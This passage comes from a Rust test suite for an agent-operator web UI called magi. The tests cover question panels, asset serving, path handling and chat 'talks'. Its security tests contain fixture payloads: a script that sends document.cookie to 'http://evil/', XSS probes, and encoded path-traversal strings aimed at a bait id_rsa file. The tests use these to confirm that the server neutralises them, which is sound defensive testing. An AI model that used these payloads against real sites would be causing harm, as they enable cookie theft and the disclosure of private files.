4686 .put_panel(&mut q, html, &sources)
4687 .expect("write the panel");
4688 store.put(&mut q).expect("put question");
4689 q.id
4690 }
4691
4692 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4701 let store = fx.talks();
4702 std::fs::create_dir_all(store.root()).expect("talks dir");
4703 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4704 .expect("serialize a seat");
4705 let body = serde_json::json!({
4706 "schema": 1,
4707 "id": id,
4708 "repo": "/repo/magi",
4709 "agent": "mock",
4710 "status": status,
4711 "turns": [],
4712 "created_at": Timestamp::now().to_string(),
4713 "updated_at": Timestamp::now().to_string(),
4714 "seat": seat,
4715 });
4716 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4717 store.get(id).expect("the seeded talk has to be readable");
4718 id.to_owned()
4719 }
4720
4721 #[tokio::test]
4722 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4723 let fx = Fixture::start().await;
4724 let id = panel(
4725 &fx,
4726 "<h1>Merge?</h1><img src=\"diff.svg\">",
4727 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4728 );
4729
4730 for path in [
4731 format!("/api/questions/{id}/panel"),
4732 format!("/api/questions/{id}/asset/diff.svg"),
4733 ] {
4734 let res = fx.get(&path).await;
4735 assert_eq!(res.status, 200, "{path}: {}", res.body);
4736 assert_eq!(
4742 res.header("content-security-policy"),
4743 Some(
4744 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4745 font-src data:; base-uri 'none'; form-action 'none'; \
4746 frame-ancestors 'self'"
4747 ),
4748 "{path} is the only thing between a hostile panel and the tailnet"
4749 );
4750 assert_eq!(
4751 res.header("x-content-type-options"),
4752 Some("nosniff"),
4753 "{path}: a browser must not re-decide the type we sent"
4754 );
4755 assert_eq!(
4756 res.header("referrer-policy"),
4757 Some("no-referrer"),
4758 "{path}: a panel must not leak the question id off the machine"
4759 );
4760
4761 let pre = fx.head(&path).await;
4766 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4767 assert_eq!(
4768 pre.header("content-security-policy"),
4769 res.header("content-security-policy"),
4770 "{path}: the preflight carries the same policy"
4771 );
4772 assert_eq!(
4773 pre.header("content-type"),
4774 res.header("content-type"),
4775 "{path}: the preflight carries the same type"
4776 );
4777 }
4778 }
4779
4780 #[tokio::test]
4781 async fn a_panel_reaches_the_browser_byte_for_byte() {
4782 let fx = Fixture::start().await;
4783 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4788 let id = panel(&fx, html, &[]);
4789
4790 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4791
4792 assert_eq!(res.status, 200);
4793 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4794 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4795 assert_eq!(
4796 res.header("content-disposition"),
4797 None,
4798 "the panel itself is rendered in the frame, not downloaded"
4799 );
4800 }
4801
4802 #[tokio::test]
4803 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4804 let fx = Fixture::start().await;
4805 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4806 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4807 let id = panel(
4808 &fx,
4809 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4810 &[("diff.svg", svg), ("shot.png", png)],
4811 );
4812
4813 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4814 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4815
4816 assert_eq!(as_svg.status, 200);
4817 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4818 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4823
4824 assert_eq!(as_png.status, 200);
4825 assert_eq!(as_png.header("content-type"), Some("image/png"));
4826 assert_eq!(
4827 as_png.header("content-disposition"),
4828 None,
4829 "a raster image has no execution surface, so tapping it still shows it"
4830 );
4831 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4832 }
4833
4834 #[tokio::test]
4835 async fn an_html_asset_is_never_served_as_html() {
4836 let fx = Fixture::start().await;
4837 let id = panel(
4838 &fx,
4839 "<p>see the notes</p>",
4840 &[
4841 (
4842 "notes.html",
4843 b"<script>fetch('http://evil/'+document.cookie)</script>",
4844 ),
4845 ("hook.js", b"fetch('http://evil/')"),
4846 ("data.json", b"{}"),
4847 ("HEADLINE.TXT", b"plain"),
4848 ],
4849 );
4850
4851 for name in ["notes.html", "hook.js", "data.json"] {
4852 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4853 assert_eq!(res.status, 200, "{name}: {}", res.body);
4854 assert_eq!(
4859 res.header("content-type"),
4860 Some("application/octet-stream"),
4861 "{name} must not be a type the browser will execute or render"
4862 );
4863 }
4864 let txt = fx
4867 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4868 .await;
4869 assert_eq!(
4870 txt.header("content-type"),
4871 Some("text/plain; charset=utf-8")
4872 );
4873 }
4874
4875 #[tokio::test]
4876 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4877 let fx = Fixture::start().await;
4878 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4879 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4883
4884 for encoded in [
4891 "%2e%2e%2fid_rsa",
4892 "..%2fid_rsa",
4893 "..%5cid_rsa",
4894 "%2e%2e%5cid_rsa",
4895 "diff%00.svg",
4896 "..",
4897 ".hidden",
4898 "%2e%2e%2f%2e%2e%2fid_rsa",
4899 ] {
4900 let res = fx
4901 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4902 .await;
4903 assert_eq!(
4904 res.status, 400,
4905 "`{encoded}` has to be refused by name, not looked up: {}",
4906 res.body
4907 );
4908 assert!(res.json()["error"].is_string(), "{}", res.body);
4909 }
4910
4911 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4917 let res = fx
4918 .get(&format!("/api/questions/{id}/asset/{literal}"))
4919 .await;
4920 assert_eq!(
4921 res.status, 404,
4922 "`{literal}` must not match the asset route at all: {}",
4923 res.body
4924 );
4925 }
4926 }
4927
4928 #[tokio::test]
4929 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4930 let fx = Fixture::start().await;
4931 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4932 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4933
4934 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4938 assert_eq!(none.status, 404, "{}", none.body);
4939 assert!(none.json()["error"].is_string(), "{}", none.body);
4940 assert_eq!(
4941 fx.head(&format!("/api/questions/{plain}/panel"))
4942 .await
4943 .status,
4944 404,
4945 "the preflight is the only way the client can learn this"
4946 );
4947
4948 let missing = fx
4950 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4951 .await;
4952 assert_eq!(missing.status, 404, "{}", missing.body);
4953 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4954
4955 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4957 assert_eq!(
4958 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4959 404
4960 );
4961 }
4962
4963 #[tokio::test]
4964 async fn a_run_with_an_open_question_reads_as_waiting() {
4965 let fx = Fixture::start().await;
4966 let run = "20260902-000000-beef".to_owned();
4967 write_run(&fx.runs(), &run, RunStatus::Implementing);
4968
4969 let before = fx.get("/api/runs").await.json();
4970 assert_eq!(before[0]["waiting"], false, "{before}");
4971
4972 let store = fx.questions();
4973 let mut q = Question::new(
4974 run.clone(),
4975 "implement".to_owned(),
4976 "impl-A".to_owned(),
4977 "Which backend?".to_owned(),
4978 String::new(),
4979 vec!["SQLite".to_owned()],
4980 );
4981 store.put(&mut q).expect("put");
4982
4983 let during = fx.get("/api/runs").await.json();
4984 assert_eq!(during[0]["waiting"], true, "{during}");
4985
4986 q.answer(Answer::Choice("SQLite".to_owned()))
4989 .expect("answer");
4990 store.put(&mut q).expect("put");
4991 let after = fx.get("/api/runs").await.json();
4992 assert_eq!(after[0]["waiting"], false, "{after}");
4993 }
4994
4995 #[tokio::test]
4996 async fn an_open_question_is_listed_and_counted_by_health() {
4997 let fx = Fixture::start().await;
4998 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4999
5000 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5001 let listed = fx.get("/api/questions").await.json();
5002 assert_eq!(listed.as_array().expect("array").len(), 1);
5003 assert_eq!(listed[0]["id"], id);
5004 assert_eq!(listed[0]["status"], "open");
5005 assert_eq!(listed[0]["choices"][1], "Redis");
5006 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5009 }
5010
5011 #[tokio::test]
5012 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5013 let fx = Fixture::start().await;
5014 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5015 let path = format!("/api/questions/{id}/answer");
5016
5017 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5018 assert_eq!(res.status, 200, "{}", res.body);
5019 let body = res.json();
5020 assert_eq!(body["status"], "answered");
5021 assert_eq!(body["answer"]["choice"], "Redis");
5022
5023 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5027 assert_eq!(again.status, 409, "{}", again.body);
5028 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5029 }
5030
5031 #[tokio::test]
5032 async fn saying_something_appends_a_turn_without_answering() {
5033 let fx = Fixture::start().await;
5034 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5035 let path = format!("/api/questions/{id}/say");
5036
5037 let res = fx
5038 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5039 .await;
5040 assert_eq!(res.status, 200, "{}", res.body);
5041 let body = res.json();
5042 assert_eq!(body["status"], "open", "talking back is not a decision");
5043 assert_eq!(body["answer"], Value::Null);
5044 assert_eq!(body["thread"][0]["who"], "operator");
5045 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5046 assert_eq!(body["waiting_on_agent"], true);
5047 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5049 }
5050
5051 #[tokio::test]
5052 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5053 let fx = Fixture::start().await;
5054 let store = fx.questions();
5055 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5056 assert_eq!(
5057 fx.get("/api/health").await.json()["questions_needs_owner"],
5058 1
5059 );
5060
5061 let res = fx
5067 .post(
5068 &format!("/api/questions/{id}/say"),
5069 Some(r#"{"body":"why not Postgres?"}"#),
5070 )
5071 .await;
5072 assert_eq!(res.status, 200, "{}", res.body);
5073 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5074 assert_eq!(
5075 fx.get("/api/health").await.json()["questions_needs_owner"],
5076 0,
5077 "waiting on the agent is not waiting on the owner"
5078 );
5079
5080 let mut q = store.get(&id).expect("get");
5084 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5085 .expect("reply");
5086 store.put(&mut q).expect("put");
5087 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5088 assert_eq!(
5089 fx.get("/api/health").await.json()["questions_needs_owner"],
5090 1,
5091 "the agent's reply is what should light the banner back up"
5092 );
5093 }
5094
5095 #[tokio::test]
5096 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5097 let fx = Fixture::start().await;
5098 let store = fx.questions();
5099
5100 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5101 let res = fx
5102 .post(
5103 &format!("/api/questions/{empty_id}/say"),
5104 Some(r#"{"body":" "}"#),
5105 )
5106 .await;
5107 assert_eq!(res.status, 400, "{}", res.body);
5108
5109 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5110 let mut answered = store.get(&answered_id).expect("get");
5111 answered
5112 .answer(Answer::Choice("SQLite".to_owned()))
5113 .expect("answer");
5114 store.put(&mut answered).expect("put");
5115 let res = fx
5116 .post(
5117 &format!("/api/questions/{answered_id}/say"),
5118 Some(r#"{"body":"still there?"}"#),
5119 )
5120 .await;
5121 assert_eq!(res.status, 409, "{}", res.body);
5122
5123 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5124 let mut abandoned = store.get(&abandoned_id).expect("get");
5125 abandoned.abandon("timed out");
5126 store.put(&mut abandoned).expect("put");
5127 let res = fx
5128 .post(
5129 &format!("/api/questions/{abandoned_id}/say"),
5130 Some(r#"{"body":"still there?"}"#),
5131 )
5132 .await;
5133 assert_eq!(res.status, 409, "{}", res.body);
5134 }
5135
5136 #[tokio::test]
5137 async fn an_answer_the_question_does_not_offer_is_refused() {
5138 let fx = Fixture::start().await;
5139 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5140 let path = format!("/api/questions/{id}/answer");
5141
5142 for body in [
5143 r#"{"choice":"Postgres"}"#,
5144 r#"{"text":"whatever you think"}"#,
5145 r#"{"choice":"Redis","text":"both"}"#,
5146 r#"{}"#,
5147 ] {
5148 let res = fx.post(&path, Some(body)).await;
5149 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5150 assert!(res.json()["error"].is_string(), "{}", res.body);
5151 }
5152 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5154 }
5155
5156 #[tokio::test]
5157 async fn a_free_text_question_takes_text_and_not_a_choice() {
5158 let fx = Fixture::start().await;
5159 let id = ask(&fx, "What should the flag be called?", &[]);
5160 let path = format!("/api/questions/{id}/answer");
5161
5162 assert_eq!(
5163 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5164 400
5165 );
5166 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5167 assert_eq!(res.status, 200, "{}", res.body);
5168 assert_eq!(res.json()["answer"]["text"], "--json");
5169 }
5170
5171 #[tokio::test]
5172 async fn an_unknown_question_is_a_json_404() {
5173 let fx = Fixture::start().await;
5174 let res = fx
5175 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5176 .await;
5177 assert_eq!(res.status, 404, "{}", res.body);
5178 assert!(res.json()["error"].is_string());
5179 }
5180
5181 #[tokio::test]
5188 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5189 let f = Fixture::start().await;
5190
5191 let res = f
5192 .post(
5193 "/api/queue",
5194 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5195 )
5196 .await;
5197
5198 assert_eq!(
5199 res.status, 405,
5200 "POST /api/queue must not be a route: {}",
5201 res.body
5202 );
5203 assert!(
5204 f.queue().list().is_empty(),
5205 "a task filed by a route that does not exist must not reach the disk"
5206 );
5207 assert_eq!(f.get("/api/queue").await.status, 200);
5210 }
5211
5212 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5214 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5215 .expect("checkout dir");
5216 }
5217
5218 #[tokio::test]
5219 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5220 let tmp = TempDir::new().expect("tempdir");
5221 let repo = tmp.path().join("repo");
5222 std::fs::create_dir_all(&repo).expect("repo dir");
5223 let root = tmp.path().join("root");
5224 make_checkout(&root, "github.com", "yukimemi", "magi");
5225 std::fs::write(
5226 repo.join("magi.toml"),
5227 format!(
5228 "[repos]\nroots = [{:?}]\n",
5229 root.to_string_lossy().into_owned()
5230 ),
5231 )
5232 .expect("write magi.toml");
5233
5234 let f = Fixture::with_repo(repo).await;
5235 let res = f.get("/api/repos").await;
5236 assert_eq!(res.status, 200, "{}", res.body);
5237 let list = res.json();
5238 let repos = list.as_array().expect("an array");
5239 assert_eq!(repos.len(), 1);
5240 assert_eq!(repos[0]["name"], "yukimemi/magi");
5241 assert!(
5242 repos[0]["path"]
5243 .as_str()
5244 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5245 "{list}"
5246 );
5247 }
5248
5249 #[tokio::test]
5250 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5251 let tmp = TempDir::new().expect("tempdir");
5252 let repo = tmp.path().join("repo");
5253 std::fs::create_dir_all(&repo).expect("repo dir");
5254 let root = tmp.path().join("root");
5255 make_checkout(&root, "github.com", "yukimemi", "magi");
5256 std::fs::write(
5257 repo.join("magi.toml"),
5258 format!(
5259 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5260 root.to_string_lossy().into_owned()
5261 ),
5262 )
5263 .expect("write magi.toml");
5264
5265 let f = Fixture::with_repo(repo).await;
5266 let first = f.get("/api/repos").await;
5267 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5268
5269 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5272 let second = f.get("/api/repos").await;
5273 assert_eq!(
5274 second.json().as_array().map(Vec::len),
5275 Some(1),
5276 "a fresh cache must not rescan inside the TTL"
5277 );
5278
5279 let refreshed = f.get("/api/repos?refresh=1").await;
5280 assert_eq!(
5281 refreshed.json().as_array().map(Vec::len),
5282 Some(2),
5283 "an explicit refresh must rescan even inside the TTL"
5284 );
5285 }
5286
5287 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5293
5294 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5298 let tmp = TempDir::new().expect("tempdir");
5299 let repo = tmp.path().join("repo");
5300 std::fs::create_dir_all(&repo).expect("repo dir");
5301 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5302 let f = Fixture::with_repo(repo.clone()).await;
5303 (tmp, repo, f)
5304 }
5305
5306 #[tokio::test]
5307 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5308 let (_tmp, _repo, f) = talk_fixture().await;
5309
5310 let opened = f.post("/api/talks", None).await;
5313 assert_eq!(opened.status, 201, "{}", opened.body);
5314 let body = opened.json();
5315 assert_eq!(body["status"], "open");
5316 assert_eq!(
5317 body["turns"].as_array().unwrap().len(),
5318 0,
5319 "opening takes no agent turn: there is nothing yet to answer"
5320 );
5321
5322 let also_opened = f.post("/api/talks", Some("{}")).await;
5324 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5325
5326 let listed = f.get("/api/talks").await.json();
5327 assert_eq!(listed.as_array().unwrap().len(), 2);
5328 }
5329
5330 #[tokio::test]
5331 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5332 let f = Fixture::start().await;
5333 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5334 let queue = f.queue();
5335 let mut mine = Task::new(
5336 "rename the loader".to_owned(),
5337 "rename the loader".to_owned(),
5338 PathBuf::from("/repo/magi"),
5339 Source::Agent {
5340 run: talk_id.clone(),
5341 node: "chat".to_owned(),
5342 },
5343 );
5344 queue.put(&mut mine).expect("file the task");
5345 let mut theirs = Task::new(
5346 "unrelated".to_owned(),
5347 "unrelated".to_owned(),
5348 PathBuf::from("/repo/magi"),
5349 Source::Human,
5350 );
5351 queue.put(&mut theirs).expect("file the task");
5352
5353 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5354 assert_eq!(res.status, 200, "{}", res.body);
5355 let body = res.json();
5356 assert_eq!(
5357 body["status"], "open",
5358 "filing a task does not close a talk"
5359 );
5360 let tasks = body["tasks"].as_array().expect("tasks array");
5361 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5362 assert_eq!(tasks[0]["id"], mine.id);
5363 }
5364
5365 #[tokio::test]
5366 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5367 let (_tmp, _repo, f) = talk_fixture().await;
5368 let id = f.post("/api/talks", None).await.json()["id"]
5369 .as_str()
5370 .expect("id")
5371 .to_owned();
5372
5373 let res = f
5374 .post(
5375 &format!("/api/talks/{id}/say"),
5376 Some(r#"{"text":"what does the queue module do?"}"#),
5377 )
5378 .await;
5379 assert_eq!(res.status, 202, "{}", res.body);
5380 let queued = res.json();
5381 let turns = queued["turns"].as_array().expect("turns array");
5382 assert_eq!(
5383 turns.len(),
5384 1,
5385 "the answer reflects only what is on disk the instant it is sent, \
5386 before the agent's turn - which can run for the whole of \
5387 `[graph] timeout_talk` - has a chance to land: {queued}"
5388 );
5389 assert_eq!(turns[0]["who"], "operator");
5390 assert_eq!(turns[0]["body"], "what does the queue module do?");
5391 assert_eq!(
5392 queued["thinking"], true,
5393 "the accepted response exposes the background turn claim: {queued}"
5394 );
5395
5396 let mut turns_after = 1;
5397 for _ in 0..SETTLE_STEPS {
5398 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5399 turns_after = detail["turns"].as_array().expect("turns array").len();
5400 if turns_after == 2 {
5401 break;
5402 }
5403 tokio::time::sleep(Duration::from_millis(10)).await;
5404 }
5405 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5406 }
5407
5408 #[tokio::test]
5435 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5436 let tmp = TempDir::new().expect("tempdir");
5437 let repo = tmp.path().join("repo");
5438 std::fs::create_dir_all(&repo).expect("repo dir");
5439 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5440 let home = TempDir::new().expect("temp home");
5441 let talks = Talks::at(home.path().join("talks"));
5442 let ui = Arc::new(
5443 Ui::new(
5444 Queue::at(home.path().join("queue")),
5445 Questions::at(home.path().join("questions")),
5446 talks.clone(),
5447 home.path().join("runs"),
5448 home.path().to_path_buf(),
5449 repo.clone(),
5450 )
5451 .with_worktrees_root(home.path().join("wt")),
5452 );
5453 let cfg = config_for(&repo).await.expect("discover config");
5454
5455 for delay in 0..40u32 {
5456 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5457 let id = talk.id.clone();
5458
5459 let handler = tokio::spawn(talk_say(
5460 State(Arc::clone(&ui)),
5461 Path(id.clone()),
5462 Ok(Json(NewTalkTurn {
5463 text: "what does the queue module do?".to_owned(),
5464 attachments: Vec::new(),
5465 })),
5466 ));
5467 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5468 handler.abort();
5469 let _ = handler.await;
5472
5473 let mut turns = 0;
5474 for _ in 0..SETTLE_STEPS {
5475 if let Ok(fresh) = talks.get(&id) {
5476 turns = fresh.turns.len();
5477 if turns != 1 {
5478 break;
5479 }
5480 }
5481 tokio::time::sleep(Duration::from_millis(10)).await;
5482 }
5483 assert_ne!(
5484 turns, 1,
5485 "delay {delay}: talk {id} recorded the operator's turn but \
5486 the agent never answered - the reply task was never \
5487 started after the handler future was dropped"
5488 );
5489 }
5490 }
5491
5492 #[tokio::test]
5537 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5538 let tmp = TempDir::new().expect("tempdir");
5539 let repo = tmp.path().join("repo");
5540 std::fs::create_dir_all(&repo).expect("repo dir");
5541 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5542 let home = TempDir::new().expect("temp home");
5543 let talks = Talks::at(home.path().join("talks"));
5544 let ui = Arc::new(
5545 Ui::new(
5546 Queue::at(home.path().join("queue")),
5547 Questions::at(home.path().join("questions")),
5548 talks.clone(),
5549 home.path().join("runs"),
5550 home.path().to_path_buf(),
5551 repo.clone(),
5552 )
5553 .with_worktrees_root(home.path().join("wt")),
5554 );
5555 let cfg = config_for(&repo).await.expect("discover config");
5556
5557 for attempt in 0..3u32 {
5558 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5559 let id = talk.id.clone();
5560 let turn_guard = ui
5563 .begin_talk_turn(&id)
5564 .expect("claim the turn")
5565 .expect("a fresh talk owes nobody a turn");
5566
5567 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
5568 let (release_tx, release_rx) = std::sync::mpsc::channel();
5569 ui.set_busy_queue_gate(BusyQueueGate {
5570 reached: reached_tx,
5571 release: release_rx,
5572 });
5573
5574 let handler = tokio::spawn(talk_say(
5575 State(Arc::clone(&ui)),
5576 Path(id.clone()),
5577 Ok(Json(NewTalkTurn {
5578 text: "what does the queue module do?".to_owned(),
5579 attachments: Vec::new(),
5580 })),
5581 ));
5582
5583 tokio::time::timeout(Duration::from_secs(5), reached_rx)
5588 .await
5589 .unwrap_or_else(|_| {
5590 panic!(
5591 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
5592 )
5593 })
5594 .expect("the busy branch dropped the gate without using it");
5595
5596 let running = talks.get(&id).expect("reload talk");
5603 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5604
5605 handler.abort();
5609 let _ = handler.await;
5610
5611 let _ = release_tx.send(());
5617
5618 let mut fresh = talks.get(&id).expect("reload talk");
5621 for _ in 0..SETTLE_STEPS {
5622 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5623 break;
5624 }
5625 tokio::time::sleep(Duration::from_millis(10)).await;
5626 fresh = talks.get(&id).expect("reload talk");
5627 }
5628 assert!(
5629 fresh.pending.is_empty() && fresh.turns.len() == 2,
5630 "attempt {attempt}: talk {id} left the operator's text queued \
5631 with no drainer - the reclaimed turn was dropped along with \
5632 the handler future (pending {:?}, {} turns)",
5633 fresh.pending,
5634 fresh.turns.len()
5635 );
5636 }
5637 }
5638
5639 #[tokio::test]
5640 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5641 let (_tmp, _repo, f) = talk_fixture().await;
5642 let id = f.post("/api/talks", None).await.json()["id"]
5643 .as_str()
5644 .expect("id")
5645 .to_owned();
5646 let store = f.talks();
5647 let mut recovered = store.get(&id).expect("opened talk");
5648 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5649 .expect("persist pending draft without a live turn");
5650
5651 let edited = f
5652 .post(
5653 &format!("/api/talks/{id}/pending/edit"),
5654 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5655 )
5656 .await;
5657 assert_eq!(edited.status, 200, "{}", edited.body);
5658 assert!(edited.json()["thinking"].as_bool().unwrap());
5659
5660 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5661 for _ in 0..SETTLE_STEPS {
5662 if detail["turns"].as_array().expect("turns").len() == 2 {
5663 break;
5664 }
5665 tokio::time::sleep(Duration::from_millis(10)).await;
5666 detail = f.get(&format!("/api/talks/{id}")).await.json();
5667 }
5668 let turns = detail["turns"].as_array().expect("turns");
5669 assert_eq!(
5670 turns.len(),
5671 2,
5672 "the recovered draft must run once: {detail}"
5673 );
5674 assert_eq!(turns[0]["body"], "corrected");
5675 assert_eq!(detail["pending"], "");
5676 }
5677
5678 #[tokio::test]
5679 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5680 let tmp = TempDir::new().expect("tempdir");
5681 let repo = tmp.path().join("repo");
5682 std::fs::create_dir_all(&repo).expect("repo dir");
5683 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5684 let f = Fixture::with_repo(repo).await;
5685 let id = f.post("/api/talks", None).await.json()["id"]
5686 .as_str()
5687 .expect("id")
5688 .to_owned();
5689 let store = f.talks();
5690 let mut recovered = store.get(&id).expect("opened talk");
5691 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5692 .expect("persist pending draft without a live turn");
5693
5694 let refused = f
5695 .post(
5696 &format!("/api/talks/{id}/say"),
5697 Some(r#"{"text":"new message"}"#),
5698 )
5699 .await;
5700 assert_eq!(refused.status, 409, "{}", refused.body);
5701 assert!(refused.body.contains("resume"), "{}", refused.body);
5702 let saved = store.get(&id).expect("draft remains after refusal");
5703 assert!(saved.turns.is_empty());
5704 assert_eq!(saved.pending, "saved before restart");
5705
5706 let say_path = format!("/api/talks/{id}/say");
5707 let (first, second) = tokio::join!(
5708 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5709 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5710 );
5711 assert_eq!(first.status, 409, "{}", first.body);
5712 assert_eq!(second.status, 409, "{}", second.body);
5713 let saved = store
5714 .get(&id)
5715 .expect("draft remains after concurrent refusals");
5716 assert!(saved.turns.is_empty());
5717 assert_eq!(saved.pending, "saved before restart");
5718
5719 let resumed = f
5720 .post(&format!("/api/talks/{id}/pending/resume"), None)
5721 .await;
5722 assert_eq!(resumed.status, 202, "{}", resumed.body);
5723 let duplicate = f
5724 .post(&format!("/api/talks/{id}/pending/resume"), None)
5725 .await;
5726 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5727
5728 for _ in 0..SETTLE_STEPS {
5729 if store.get(&id).expect("talk").turns.len() == 2 {
5730 break;
5731 }
5732 tokio::time::sleep(Duration::from_millis(10)).await;
5733 }
5734 let finished = store.get(&id).expect("finished talk");
5735 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5736 assert_eq!(finished.turns[0].body, "saved before restart");
5737 assert!(finished.pending.is_empty());
5738 }
5739
5740 #[tokio::test]
5741 async fn an_image_only_recovered_draft_resumes_without_text() {
5742 let (_tmp, _repo, f) = talk_fixture().await;
5743 let id = f.post("/api/talks", None).await.json()["id"]
5744 .as_str()
5745 .expect("id")
5746 .to_owned();
5747 let uploaded = f
5748 .post_bytes(
5749 &format!("/api/talks/{id}/attachments"),
5750 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5751 PNG_BYTES,
5752 )
5753 .await;
5754 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5755 let attachment = f
5756 .talks()
5757 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5758 .expect("attachment metadata")
5759 .expect("stored attachment");
